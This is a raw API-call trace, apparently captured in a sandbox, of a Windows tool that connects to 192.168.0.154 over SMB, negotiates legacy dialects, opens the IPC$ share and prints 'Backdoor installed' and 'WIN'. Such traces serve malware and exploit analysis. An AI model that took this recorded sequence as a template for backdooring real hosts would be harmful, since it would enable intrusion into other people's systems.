[0239.765] Sleep (dwMilliseconds=0xa)
[0239.780] Sleep (dwMilliseconds=0xa)
[0239.796] Sleep (dwMilliseconds=0xa)
[0239.814] Sleep (dwMilliseconds=0xa)
[0239.827] Sleep (dwMilliseconds=0xa)
[0239.843] Sleep (dwMilliseconds=0xa)
[0239.858] Sleep (dwMilliseconds=0xa)
[0239.875] Sleep (dwMilliseconds=0xa)
[0239.889] Sleep (dwMilliseconds=0xa)
[0239.905] Sleep (dwMilliseconds=0xa)
[0239.952] Sleep (dwMilliseconds=0xa)
[0239.967] Sleep (dwMilliseconds=0xa)
[0239.984] Sleep (dwMilliseconds=0xa)
[0239.999] Sleep (dwMilliseconds=0xa)
[0240.014] Sleep (dwMilliseconds=0xa)
[0240.030] Sleep (dwMilliseconds=0xa)
[0240.046] Sleep (dwMilliseconds=0xa)
[0240.061] Sleep (dwMilliseconds=0xa)
[0240.077] Sleep (dwMilliseconds=0xa)
[0240.092] Sleep (dwMilliseconds=0xa)
[0240.108] Sleep (dwMilliseconds=0xa)
[0240.124] Sleep (dwMilliseconds=0xa)
[0240.139] Sleep (dwMilliseconds=0xa)
[0240.160] Sleep (dwMilliseconds=0xa)
[0240.170] Sleep (dwMilliseconds=0xa)
[0240.186] Sleep (dwMilliseconds=0xa)
[0240.201] Sleep (dwMilliseconds=0xa)
[0240.217] Sleep (dwMilliseconds=0xa)
[0240.233] Sleep (dwMilliseconds=0xa)
[0240.248] Sleep (dwMilliseconds=0xa)
[0240.264] Sleep (dwMilliseconds=0xa)
[0240.279] Sleep (dwMilliseconds=0xa)
[0240.295] Sleep (dwMilliseconds=0xa)
[0240.311] Sleep (dwMilliseconds=0xa)
[0240.326] Sleep (dwMilliseconds=0xa)
[0240.342] Sleep (dwMilliseconds=0xa)
[0240.357] Sleep (dwMilliseconds=0xa)
[0240.374] Sleep (dwMilliseconds=0xa)
[0240.420] Sleep (dwMilliseconds=0xa)
[0240.436] Sleep (dwMilliseconds=0xa)
[0240.451] Sleep (dwMilliseconds=0xa)
[0240.467] Sleep (dwMilliseconds=0xa)
[0240.483] Sleep (dwMilliseconds=0xa)
[0240.545] Sleep (dwMilliseconds=0xa)
[0240.560] Sleep (dwMilliseconds=0xa)
[0240.576] Sleep (dwMilliseconds=0xa)
[0240.592] Sleep (dwMilliseconds=0xa)
[0240.607] Sleep (dwMilliseconds=0xa)
[0240.623] Sleep (dwMilliseconds=0xa)
[0240.638] Sleep (dwMilliseconds=0xa)
[0240.654] Sleep (dwMilliseconds=0xa)
[0240.716] Sleep (dwMilliseconds=0xa)
[0240.732] Sleep (dwMilliseconds=0xa)
[0240.747] Sleep (dwMilliseconds=0xa)
[0240.794] Sleep (dwMilliseconds=0xa)
[0240.841] Sleep (dwMilliseconds=0xa)
[0240.874] Sleep (dwMilliseconds=0xa)
[0240.890] Sleep (dwMilliseconds=0xa)
[0240.905] Sleep (dwMilliseconds=0xa)
[0240.928] Sleep (dwMilliseconds=0xa)
[0240.966] Sleep (dwMilliseconds=0xa)
[0241.013] Sleep (dwMilliseconds=0xa)
[0241.060] Sleep (dwMilliseconds=0xa)
[0241.109] Sleep (dwMilliseconds=0xa)
[0241.149] Sleep (dwMilliseconds=0xa)
[0241.154] Sleep (dwMilliseconds=0xa)
[0241.172] Sleep (dwMilliseconds=0xa)
[0241.198] Sleep (dwMilliseconds=0xa)
[0241.231] Sleep (dwMilliseconds=0xa)
[0241.278] Sleep (dwMilliseconds=0xa)
[0241.325] Sleep (dwMilliseconds=0xa)
[0241.372] Sleep (dwMilliseconds=0xa)
[0241.418] Sleep (dwMilliseconds=0xa)
[0241.434] Sleep (dwMilliseconds=0xa)
[0241.469] Sleep (dwMilliseconds=0xa)
[0241.517] Sleep (dwMilliseconds=0xa)
[0241.560] Sleep (dwMilliseconds=0xa)
[0241.606] Sleep (dwMilliseconds=0xa)
[0241.654] Sleep (dwMilliseconds=0xa)
[0241.744] Sleep (dwMilliseconds=0xa)
[0241.755] Sleep (dwMilliseconds=0xa)
[0241.777] Sleep (dwMilliseconds=0xa)
[0241.798] Sleep (dwMilliseconds=0xa)
[0241.816] Sleep (dwMilliseconds=0xa)
[0241.886] Sleep (dwMilliseconds=0xa)
[0241.938] Sleep (dwMilliseconds=0xa)
[0241.998] Sleep (dwMilliseconds=0xa)
[0242.088] Sleep (dwMilliseconds=0xa)
[0242.261] Sleep (dwMilliseconds=0xa)
[0242.350] Sleep (dwMilliseconds=0xa)
[0242.424] Sleep (dwMilliseconds=0xa)
[0242.551] Sleep (dwMilliseconds=0xa)
[0242.589] Sleep (dwMilliseconds=0xa)
[0242.647] Sleep (dwMilliseconds=0xa)
[0242.741] Sleep (dwMilliseconds=0xa)
[0242.990] Sleep (dwMilliseconds=0xa)
[0243.078] Sleep (dwMilliseconds=0xa)
[0243.099] Sleep (dwMilliseconds=0xa)
[0243.291] Sleep (dwMilliseconds=0xa)
[0243.351] Sleep (dwMilliseconds=0xa)
[0243.407] Sleep (dwMilliseconds=0xa)
[0243.456] Sleep (dwMilliseconds=0xa)
[0243.661] Sleep (dwMilliseconds=0xa)
[0243.697] Sleep (dwMilliseconds=0xa)
[0243.744] Sleep (dwMilliseconds=0xa)
[0243.771] Sleep (dwMilliseconds=0xa)
[0243.781] Sleep (dwMilliseconds=0xa)
[0243.820] Sleep (dwMilliseconds=0xa)
[0243.867] Sleep (dwMilliseconds=0xa)
[0243.878] Sleep (dwMilliseconds=0xa)
[0243.934] Sleep (dwMilliseconds=0xa)
[0243.993] Sleep (dwMilliseconds=0xa)
[0244.116] Sleep (dwMilliseconds=0xa)
[0244.120] Sleep (dwMilliseconds=0xa)
[0244.183] Sleep (dwMilliseconds=0xa)
[0244.270] Sleep (dwMilliseconds=0xa)
[0244.317] Sleep (dwMilliseconds=0xa)
[0244.371] Sleep (dwMilliseconds=0xa)
[0244.444] Sleep (dwMilliseconds=0xa)
[0244.527] Sleep (dwMilliseconds=0xa)
[0244.641] Sleep (dwMilliseconds=0xa)
[0244.728] Sleep (dwMilliseconds=0xa)
[0244.795] Sleep (dwMilliseconds=0xa)
[0244.897] Sleep (dwMilliseconds=0xa)
[0245.007] Sleep (dwMilliseconds=0xa)
[0245.272] Sleep (dwMilliseconds=0xa)
[0246.735] Sleep (dwMilliseconds=0xa)
[0246.792] Sleep (dwMilliseconds=0xa)
[0246.940] Sleep (dwMilliseconds=0xa)
[0247.092] Sleep (dwMilliseconds=0xa)
[0247.137] Sleep (dwMilliseconds=0xa)
[0247.245] Sleep (dwMilliseconds=0xa)
[0247.280] Sleep (dwMilliseconds=0xa)
[0247.321] Sleep (dwMilliseconds=0xa)
[0247.364] Sleep (dwMilliseconds=0xa)
[0247.417] Sleep (dwMilliseconds=0xa)
[0247.982] Sleep (dwMilliseconds=0xa)
[0248.084] Sleep (dwMilliseconds=0xa)
[0248.169] Sleep (dwMilliseconds=0xa)
[0248.230] Sleep (dwMilliseconds=0xa)
[0248.380] Sleep (dwMilliseconds=0xa)
[0248.407] Sleep (dwMilliseconds=0xa)
[0248.431] Sleep (dwMilliseconds=0xa)
[0248.812] Sleep (dwMilliseconds=0xa)
[0248.862] Sleep (dwMilliseconds=0xa)
[0248.907] Sleep (dwMilliseconds=0xa)
[0248.959] Sleep (dwMilliseconds=0xa)
[0249.005] Sleep (dwMilliseconds=0xa)
[0249.064] Sleep (dwMilliseconds=0xa)
[0249.941] Sleep (dwMilliseconds=0xa)
[0250.048] Sleep (dwMilliseconds=0xa)
[0250.132] Sleep (dwMilliseconds=0xa)
[0250.145] Sleep (dwMilliseconds=0xa)
[0250.154] Sleep (dwMilliseconds=0xa)
[0250.170] Sleep (dwMilliseconds=0xa)
[0250.186] Sleep (dwMilliseconds=0xa)
[0250.201] Sleep (dwMilliseconds=0xa)
[0250.217] Sleep (dwMilliseconds=0xa)
[0250.245] Sleep (dwMilliseconds=0xa)
[0250.249] Sleep (dwMilliseconds=0xa)
[0250.264] Sleep (dwMilliseconds=0xa)
[0250.279] Sleep (dwMilliseconds=0xa)
[0250.295] Sleep (dwMilliseconds=0xa)
[0250.310] Sleep (dwMilliseconds=0xa)
[0250.326] Sleep (dwMilliseconds=0xa)
[0250.342] Sleep (dwMilliseconds=0xa)
[0250.357] Sleep (dwMilliseconds=0xa)
[0250.373] Sleep (dwMilliseconds=0xa)
[0250.388] Sleep (dwMilliseconds=0xa)
[0250.404] Sleep (dwMilliseconds=0xa)
[0250.420] Sleep (dwMilliseconds=0xa)
[0250.436] Sleep (dwMilliseconds=0xa)
[0250.451] Sleep (dwMilliseconds=0xa)
[0250.466] Sleep (dwMilliseconds=0xa)
[0250.492] Sleep (dwMilliseconds=0xa)
[0250.512] Sleep (dwMilliseconds=0xa)
[0250.569] Sleep (dwMilliseconds=0xa)
[0253.133] Sleep (dwMilliseconds=0xa)
[0253.889] Sleep (dwMilliseconds=0xa)
[0253.971] Sleep (dwMilliseconds=0xa)
[0253.988] Sleep (dwMilliseconds=0xa)
[0254.015] Sleep (dwMilliseconds=0xa)
[0254.040] Sleep (dwMilliseconds=0xa)
[0254.080] Sleep (dwMilliseconds=0xa)
[0257.175] Sleep (dwMilliseconds=0xa)
[0257.360] Sleep (dwMilliseconds=0xa)
[0257.451] Sleep (dwMilliseconds=0xa)
[0257.501] Sleep (dwMilliseconds=0xa)
[0257.538] Sleep (dwMilliseconds=0xa)
[0257.592] Sleep (dwMilliseconds=0xa)
[0257.612] Sleep (dwMilliseconds=0xa)
[0257.655] Sleep (dwMilliseconds=0xa)
[0257.714] Sleep (dwMilliseconds=0xa)
[0257.734] Sleep (dwMilliseconds=0xa)
[0257.744] Sleep (dwMilliseconds=0xa)
[0257.752] Sleep (dwMilliseconds=0xa)
[0257.998] Sleep (dwMilliseconds=0xa)
[0260.317] Sleep (dwMilliseconds=0xa)
[0260.410] vfprintf (in: _File=0x77032920, _Format="[*] Pinging backdoor...\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 24
[0260.411] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0260.412] vfprintf (in: _File=0x77032920, _Format=" [+] Backdoor returned code: 10 - Success!\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 46
[0260.412] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0260.413] vfprintf (in: _File=0x77032920, _Format=" [+] Ping returned Target architecture: x64 (64-bit)\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 56
[0260.413] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0260.414] vfprintf (in: _File=0x77032920, _Format=" [+] Backdoor installed\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 267
[0260.415] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0260.415] Sleep (dwMilliseconds=0xa)
[0260.419] Sleep (dwMilliseconds=0xa)
[0260.434] Sleep (dwMilliseconds=0xa)
[0260.450] Sleep (dwMilliseconds=0xa)
[0260.466] Sleep (dwMilliseconds=0xa)
[0260.513] Sleep (dwMilliseconds=0xa)
[0260.528] Sleep (dwMilliseconds=0xa)
[0260.545] Sleep (dwMilliseconds=0xa)
[0260.559] Sleep (dwMilliseconds=0xa)
[0260.584] Sleep (dwMilliseconds=0xa)
[0260.591] Sleep (dwMilliseconds=0xa)
[0260.606] Sleep (dwMilliseconds=0xa)
[0260.622] Sleep (dwMilliseconds=0xa)
[0260.653] Sleep (dwMilliseconds=0xa)
[0260.685] Sleep (dwMilliseconds=0xa)
[0260.700] Sleep (dwMilliseconds=0xa)
[0260.715] Sleep (dwMilliseconds=0xa)
[0260.731] Sleep (dwMilliseconds=0xa)
[0260.747] Sleep (dwMilliseconds=0xa)
[0260.762] Sleep (dwMilliseconds=0xa)
[0260.778] Sleep (dwMilliseconds=0xa)
[0260.793] Sleep (dwMilliseconds=0xa)
[0260.809] Sleep (dwMilliseconds=0xa)
[0260.825] Sleep (dwMilliseconds=0xa)
[0260.841] Sleep (dwMilliseconds=0xa)
[0260.856] Sleep (dwMilliseconds=0xa)
[0260.873] Sleep (dwMilliseconds=0xa)
[0260.887] Sleep (dwMilliseconds=0xa)
[0262.883] Sleep (dwMilliseconds=0xa)
[0262.889] Sleep (dwMilliseconds=0xa)
[0262.902] Sleep (dwMilliseconds=0xa)
[0262.917] Sleep (dwMilliseconds=0xa)
[0262.933] Sleep (dwMilliseconds=0xa)
[0263.506] Sleep (dwMilliseconds=0xa)
[0263.511] Sleep (dwMilliseconds=0xa)
[0263.526] Sleep (dwMilliseconds=0xa)
[0263.539] Sleep (dwMilliseconds=0xa)
[0263.555] Sleep (dwMilliseconds=0xa)
[0263.571] Sleep (dwMilliseconds=0xa)
[0263.586] Sleep (dwMilliseconds=0xa)
[0263.601] Sleep (dwMilliseconds=0xa)
[0263.617] fprintf (in: _File=0x77032920, _Format="%s (%u bytes):\n" | out: _File=0x77032920) returned 48
[0263.621] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0263.621] sprintf (in: _Dest=0x229fd80, _Format="0x%08x" | out: _Dest="0x00000000") returned 10
[0263.621] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="08") returned 2
[0263.621] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="00") returned 2
[0263.621] fprintf (in: _File=0x77032920, _Format="%s\n" | out: _File=0x77032920) returned 64
[0263.622] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0263.622] malloc (_Size=0x10) returned 0x38da08
[0263.625] vfprintf (in: _File=0x77032920, _Format="[*] Received output parameters from CORE\n", _ArgList=0x229fda0 | out: _File=0x77032920) returned 41
[0263.713] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0263.713] free (_Block=0x38da08)
[0263.713] SetEvent (hEvent=0x6c) returned 1
[0263.713] vfprintf (in: _File=0x77032920, _Format="[+] CORE terminated with status code 0x%08x\n", _ArgList=0x229fda4 | out: _File=0x77032920) returned 48
[0263.758] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0263.758] free (_Block=0x38f508)
Thread:
id = 276
os_tid = 0xfb4
[0236.946] malloc (_Size=0x34) returned 0x273ab8
[0236.946] malloc (_Size=0xc49) returned 0x2711b8
[0236.946] malloc (_Size=0xa) returned 0x38da38
[0236.946] malloc (_Size=0xe) returned 0x38da08
[0236.946] strcmp (_Str1="WIN72K8R2", _Str2="XP") returned -1
[0236.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2c4fb18 | out: lpSystemTimeAsFileTime=0x2c4fb18*(dwLowDateTime=0x66491d60, dwHighDateTime=0x1d6a96f))
[0236.947] srand (_Seed=0x66491d60)
[0236.947] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2c4f998 | out: lpWSAData=0x2c4f998) returned 0
[0236.947] malloc (_Size=0x1090) returned 0x271e10
[0236.947] htons (hostshort=0x1122) returned 0x2211
[0236.947] malloc (_Size=0x2000) returned 0x279120
[0236.947] rand () returned 4408
[0236.947] rand () returned 13608
[0236.947] rand () returned 27980
[0236.947] rand () returned 25205
[0236.947] malloc (_Size=0x18) returned 0x276e20
[0236.947] realloc (_Block=0x0, _Size=0x6) returned 0x281378
[0236.947] realloc (_Block=0x0, _Size=0xa) returned 0x38d960
[0236.947] rand () returned 19947
[0236.947] rand () returned 32678
[0236.947] rand () returned 20298
[0236.947] rand () returned 11859
[0236.947] rand () returned 29198
[0236.948] rand () returned 25672
[0236.948] rand () returned 30092
[0236.948] rand () returned 26972
[0236.948] rand () returned 14532
[0236.948] rand () returned 9454
[0236.948] rand () returned 124
[0236.948] rand () returned 16421
[0236.948] rand () returned 13026
[0236.948] rand () returned 2929
[0236.948] rand () returned 23971
[0236.948] rand () returned 18656
[0236.948] rand () returned 16731
[0236.948] rand () returned 19009
[0236.948] rand () returned 13759
[0236.948] rand () returned 2342
[0236.948] strlen (_Str="LANMAN") returned 0x6
[0236.948] realloc (_Block=0x0, _Size=0x7) returned 0x281318
[0236.948] strlen (_Str="IPC$") returned 0x4
[0236.948] realloc (_Block=0x0, _Size=0x5) returned 0x281328
[0236.948] malloc (_Size=0x2000) returned 0x27b128
[0236.948] malloc (_Size=0x2000) returned 0x27d130
[0236.948] time (in: timer=0x0 | out: timer=0x0) returned 0x5f932959
[0236.949] strlen (_Str="Windows 2000 2195") returned 0x11
[0236.949] realloc (_Block=0x0, _Size=0x12) returned 0x276e40
[0236.949] strlen (_Str="Windows 2000 5.0") returned 0x10
[0236.949] realloc (_Block=0x0, _Size=0x11) returned 0x276e60
[0236.949] htons (hostshort=0x1bd) returned 0xbd01
[0236.949] socket (af=2, type=1, protocol=6) returned 0x98
[0237.707] setsockopt (s=0x98, level=65535, optname=128, optval="", optlen=4) returned 0
[0237.707] connect (s=0x98, name=0x271e30*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0237.713] malloc (_Size=0x2000) returned 0x282fd0
[0237.713] strlen (_Str="LANMAN") returned 0x6
[0237.714] strlen (_Str="LANMAN") returned 0x6
[0237.714] strlen (_Str="LANMAN") returned 0x6
[0237.714] strlen (_Str="LANMAN") returned 0x6
[0237.714] strlen (_Str="LANMAN") returned 0x6
[0237.714] strlen (_Str="LANMAN") returned 0x6
[0237.714] strlen (_Str="LANMAN") returned 0x6
[0237.714] htons (hostshort=0xbd01) returned 0x1bd
[0237.714] malloc (_Size=0x400) returned 0x272ea8
[0237.714] strlen (_Str="PC NETWORK PROGRAM 1.0") returned 0x16
[0237.714] strlen (_Str="LANMAN1.0") returned 0x9
[0237.714] strlen (_Str="Windows for Workgroups 3.1a") returned 0x1b
[0237.714] strlen (_Str="LM1.2X002") returned 0x9
[0237.714] strlen (_Str="LANMAN2.1") returned 0x9
[0237.714] strlen (_Str="NT LM 0.12") returned 0xa
[0237.715] free (_Block=0x272ea8)
[0237.715] send (s=0x98, buf=0x282fd0*, len=137, flags=0) returned 137
[0237.717] select (in: nfds=153, readfds=0x2c4f710, writefds=0x0, exceptfds=0x0, timeout=0x2c4f814*(tv_sec=120, tv_usec=0) | out: readfds=0x2c4f710, writefds=0x0, exceptfds=0x0) returned 1
[0237.717] recv (in: s=0x98, buf=0x27d130, len=8192, flags=0 | out: buf=0x27d130*) returned 121
[0237.718] realloc (_Block=0x0, _Size=0x14) returned 0x276e80
[0237.718] realloc (_Block=0x0, _Size=0x1) returned 0x281308
[0237.718] realloc (_Block=0x281308, _Size=0x2) returned 0x2812f8
[0237.719] realloc (_Block=0x2812f8, _Size=0x3) returned 0x281308
[0237.719] realloc (_Block=0x281308, _Size=0x4) returned 0x2812f8
[0237.719] realloc (_Block=0x2812f8, _Size=0x5) returned 0x281308
[0237.719] realloc (_Block=0x281308, _Size=0x6) returned 0x2812f8
[0237.719] realloc (_Block=0x2812f8, _Size=0x7) returned 0x281308
[0237.719] realloc (_Block=0x281308, _Size=0x8) returned 0x2812f8
[0237.719] realloc (_Block=0x2812f8, _Size=0x9) returned 0x38d9a8
[0237.719] realloc (_Block=0x38d9a8, _Size=0xa) returned 0x38d990
[0237.719] realloc (_Block=0x0, _Size=0x14) returned 0x276ea0
[0237.719] realloc (_Block=0x0, _Size=0x1) returned 0x2812f8
[0237.719] realloc (_Block=0x2812f8, _Size=0x2) returned 0x281308
[0237.720] realloc (_Block=0x281308, _Size=0x3) returned 0x2812f8
[0237.720] realloc (_Block=0x2812f8, _Size=0x4) returned 0x281308
[0237.720] realloc (_Block=0x281308, _Size=0x5) returned 0x2812f8
[0237.720] realloc (_Block=0x2812f8, _Size=0x6) returned 0x281308
[0237.720] realloc (_Block=0x281308, _Size=0x7) returned 0x2812f8
[0237.720] realloc (_Block=0x2812f8, _Size=0x8) returned 0x281308
[0237.720] realloc (_Block=0x281308, _Size=0x9) returned 0x38d9a8
[0237.720] realloc (_Block=0x38d9a8, _Size=0xa) returned 0x38d978
[0237.721] realloc (_Block=0x0, _Size=0x1000) returned 0x284fd8
[0237.723] realloc (_Block=0x0, _Size=0x1000) returned 0x280140
[0237.725] free (_Block=0x284fd8)
[0237.725] free (_Block=0x280140)
[0237.725] send (s=0x98, buf=0x282fd0*, len=140, flags=0) returned 140
[0237.725] select (in: nfds=153, readfds=0x2c4f760, writefds=0x0, exceptfds=0x0, timeout=0x2c4f864*(tv_sec=120, tv_usec=0) | out: readfds=0x2c4f760, writefds=0x0, exceptfds=0x0) returned 1
[0237.726] recv (in: s=0x98, buf=0x27d130, len=8192, flags=0 | out: buf=0x27d130*) returned 205
[0237.727] realloc (_Block=0x0, _Size=0x1000) returned 0x284fd8
[0237.727] realloc (_Block=0x0, _Size=0x1) returned 0x281308
[0237.727] realloc (_Block=0x281308, _Size=0x2) returned 0x2812f8
[0237.727] realloc (_Block=0x2812f8, _Size=0x3) returned 0x281308
[0237.727] realloc (_Block=0x281308, _Size=0x4) returned 0x2812f8
[0237.727] realloc (_Block=0x2812f8, _Size=0x5) returned 0x281308
[0237.728] realloc (_Block=0x281308, _Size=0x6) returned 0x2812f8
[0237.728] realloc (_Block=0x2812f8, _Size=0x7) returned 0x281308
[0237.728] realloc (_Block=0x281308, _Size=0x8) returned 0x2812f8
[0237.728] realloc (_Block=0x2812f8, _Size=0x9) returned 0x38d9a8
[0237.728] realloc (_Block=0x38d9a8, _Size=0xa) returned 0x38d930
[0237.728] realloc (_Block=0x38d930, _Size=0xb) returned 0x38d9a8
[0237.728] realloc (_Block=0x38d9a8, _Size=0xc) returned 0x38d930
[0237.728] realloc (_Block=0x38d930, _Size=0xd) returned 0x38d9a8
[0237.729] realloc (_Block=0x38d9a8, _Size=0xe) returned 0x38d930
[0237.729] realloc (_Block=0x38d930, _Size=0xf) returned 0x38d9a8
[0237.729] realloc (_Block=0x38d9a8, _Size=0x10) returned 0x38d930
[0237.729] realloc (_Block=0x38d930, _Size=0x11) returned 0x276ec0
[0237.729] realloc (_Block=0x276ec0, _Size=0x12) returned 0x276ee0
[0237.729] realloc (_Block=0x276ee0, _Size=0x13) returned 0x276ec0
[0237.729] realloc (_Block=0x276ec0, _Size=0x14) returned 0x276ee0
[0237.730] realloc (_Block=0x276ee0, _Size=0x15) returned 0x276ec0
[0237.730] realloc (_Block=0x276ec0, _Size=0x16) returned 0x276ee0
[0237.730] realloc (_Block=0x276ee0, _Size=0x17) returned 0x276ec0
[0237.730] realloc (_Block=0x276ec0, _Size=0x18) returned 0x276ee0
[0237.730] realloc (_Block=0x276ee0, _Size=0x19) returned 0x274cb8
[0237.730] realloc (_Block=0x274cb8, _Size=0x1a) returned 0x274cb8
[0237.730] realloc (_Block=0x274cb8, _Size=0x1b) returned 0x274cb8
[0237.730] realloc (_Block=0x274cb8, _Size=0x1c) returned 0x274cb8
[0237.731] realloc (_Block=0x274cb8, _Size=0x1d) returned 0x274cb8
[0237.731] realloc (_Block=0x274cb8, _Size=0x1e) returned 0x274cb8
[0237.731] realloc (_Block=0x274cb8, _Size=0x1f) returned 0x274cb8
[0237.731] realloc (_Block=0x274cb8, _Size=0x20) returned 0x274cb8
[0237.731] realloc (_Block=0x274cb8, _Size=0x21) returned 0x276718
[0237.731] realloc (_Block=0x276718, _Size=0x22) returned 0x276718
[0237.731] realloc (_Block=0x276718, _Size=0x23) returned 0x276718
[0237.731] realloc (_Block=0x276718, _Size=0x24) returned 0x276718
[0237.732] realloc (_Block=0x276718, _Size=0x25) returned 0x276718
[0237.732] realloc (_Block=0x276718, _Size=0x26) returned 0x276718
[0237.732] realloc (_Block=0x276718, _Size=0x27) returned 0x276718
[0237.732] realloc (_Block=0x276718, _Size=0x28) returned 0x276718
[0237.732] realloc (_Block=0x276718, _Size=0x29) returned 0x2710b8
[0237.732] realloc (_Block=0x2710b8, _Size=0x2a) returned 0x2710b8
[0237.732] realloc (_Block=0x2710b8, _Size=0x2b) returned 0x2710b8
[0237.733] realloc (_Block=0x0, _Size=0x1000) returned 0x284fd8
[0237.733] realloc (_Block=0x0, _Size=0x1) returned 0x2812f8
[0237.733] realloc (_Block=0x2812f8, _Size=0x2) returned 0x281308
[0237.733] realloc (_Block=0x281308, _Size=0x3) returned 0x2812f8
[0237.733] realloc (_Block=0x2812f8, _Size=0x4) returned 0x281308
[0237.733] realloc (_Block=0x281308, _Size=0x5) returned 0x2812f8
[0237.733] realloc (_Block=0x2812f8, _Size=0x6) returned 0x281308
[0237.733] realloc (_Block=0x281308, _Size=0x7) returned 0x2812f8
[0237.734] realloc (_Block=0x2812f8, _Size=0x8) returned 0x281308
[0237.734] realloc (_Block=0x281308, _Size=0x9) returned 0x38d930
[0237.734] realloc (_Block=0x38d930, _Size=0xa) returned 0x38d9a8
[0237.734] realloc (_Block=0x38d9a8, _Size=0xb) returned 0x38d930
[0237.734] realloc (_Block=0x38d930, _Size=0xc) returned 0x38d9a8
[0237.734] realloc (_Block=0x38d9a8, _Size=0xd) returned 0x38d930
[0237.734] realloc (_Block=0x38d930, _Size=0xe) returned 0x38d9a8
[0237.735] realloc (_Block=0x38d9a8, _Size=0xf) returned 0x38d930
[0237.735] realloc (_Block=0x38d930, _Size=0x10) returned 0x38d9a8
[0237.735] realloc (_Block=0x38d9a8, _Size=0x11) returned 0x276ee0
[0237.735] realloc (_Block=0x276ee0, _Size=0x12) returned 0x276ec0
[0237.735] realloc (_Block=0x276ec0, _Size=0x13) returned 0x276ee0
[0237.735] realloc (_Block=0x276ee0, _Size=0x14) returned 0x276ec0
[0237.735] realloc (_Block=0x276ec0, _Size=0x15) returned 0x276ee0
[0237.736] realloc (_Block=0x276ee0, _Size=0x16) returned 0x276ec0
[0237.736] realloc (_Block=0x276ec0, _Size=0x17) returned 0x276ee0
[0237.736] realloc (_Block=0x276ee0, _Size=0x18) returned 0x276ec0
[0237.736] realloc (_Block=0x276ec0, _Size=0x19) returned 0x274cb8
[0237.736] realloc (_Block=0x274cb8, _Size=0x1a) returned 0x274cb8
[0237.736] realloc (_Block=0x274cb8, _Size=0x1b) returned 0x274cb8
[0237.737] realloc (_Block=0x276e80, _Size=0x1014) returned 0x280140
[0237.737] realloc (_Block=0x38d990, _Size=0xb) returned 0x38d9a8
[0237.737] realloc (_Block=0x38d9a8, _Size=0xc) returned 0x38d990
[0237.738] realloc (_Block=0x38d990, _Size=0xd) returned 0x38d9a8
[0237.738] realloc (_Block=0x38d9a8, _Size=0xe) returned 0x38d990
[0237.738] realloc (_Block=0x38d990, _Size=0xf) returned 0x38d9a8
[0237.738] realloc (_Block=0x38d9a8, _Size=0x10) returned 0x38d990
[0237.738] realloc (_Block=0x38d990, _Size=0x11) returned 0x276e80
[0237.738] realloc (_Block=0x276e80, _Size=0x12) returned 0x276ec0
[0237.738] realloc (_Block=0x276ec0, _Size=0x13) returned 0x276e80
[0237.739] realloc (_Block=0x276e80, _Size=0x14) returned 0x276ec0
[0237.739] strlen (_Str="?????") returned 0x5
[0237.739] strncpy (in: _Dest=0x2c4f5ac, _Source="\\\\", _Count=0x31f | out: _Dest="\\\\") returned="\\\\"
[0237.785] strlen (_Str="\\\\") returned 0x2
[0237.785] inet_ntoa (in=0x9a00a8c0) returned="192.168.0.154"
[0237.785] strncat (in: _Dest=0x2c4f5ac, _Source="192.168.0.154", _Count=0x31d | out: _Dest="\\\\192.168.0.154") returned="\\\\192.168.0.154"
[0237.785] strlen (_Str="\\\\192.168.0.154") returned 0xf
[0237.785] strncat (in: _Dest=0x2c4f5ac, _Source="\\", _Count=0x310 | out: _Dest="\\\\192.168.0.154\\") returned="\\\\192.168.0.154\\"
[0237.785] strlen (_Str="\\\\192.168.0.154\\") returned 0x10
[0237.785] strncat (in: _Dest=0x2c4f5ac, _Source="IPC$", _Count=0x30f | out: _Dest="\\\\192.168.0.154\\IPC$") returned="\\\\192.168.0.154\\IPC$"
[0237.785] strlen (_Str="\\\\192.168.0.154\\IPC$") returned 0x14
[0237.786] realloc (_Block=0x0, _Size=0x1000) returned 0x284fd8
[0237.786] send (s=0x98, buf=0x282fd0*, len=96, flags=0) returned 96
[0237.787] select (in: nfds=153, readfds=0x2c4f760, writefds=0x0, exceptfds=0x0, timeout=0x2c4f864*(tv_sec=120, tv_usec=0) | out: readfds=0x2c4f760, writefds=0x0, exceptfds=0x0) returned 1
[0237.787] recv (in: s=0x98, buf=0x27d130, len=8192, flags=0 | out: buf=0x27d130*) returned 60
[0237.788] strlen (_Str="lanman") returned 0x6
[0237.788] strcmp (_Str1="lanman", _Str2="lanman") returned 0
[0237.788] free (_Block=0x282fd0)
[0237.788] realloc (_Block=0x0, _Size=0x1000) returned 0x282fd0
[0237.788] srand (_Seed=0x4223f)
[0237.788] rand () returned 32751
[0237.788] rand () returned 6458
[0237.788] rand () returned 17569
[0237.788] rand () returned 21832
[0237.788] realloc (_Block=0x0, _Size=0x1000) returned 0x283fd8
[0237.788] send (s=0x98, buf=0x283fd8*, len=82, flags=0) returned 82
[0237.790] select (in: nfds=153, readfds=0x2c4f94c, writefds=0x0, exceptfds=0x0, timeout=0x2c4fa50*(tv_sec=120, tv_usec=0) | out: readfds=0x2c4f94c, writefds=0x0, exceptfds=0x0) returned 1
[0237.790] recv (in: s=0x98, buf=0x282fd0, len=4096, flags=0 | out: buf=0x282fd0*) returned 39
[0237.790] strlen (_Str="Windows 5.1") returned 0xb
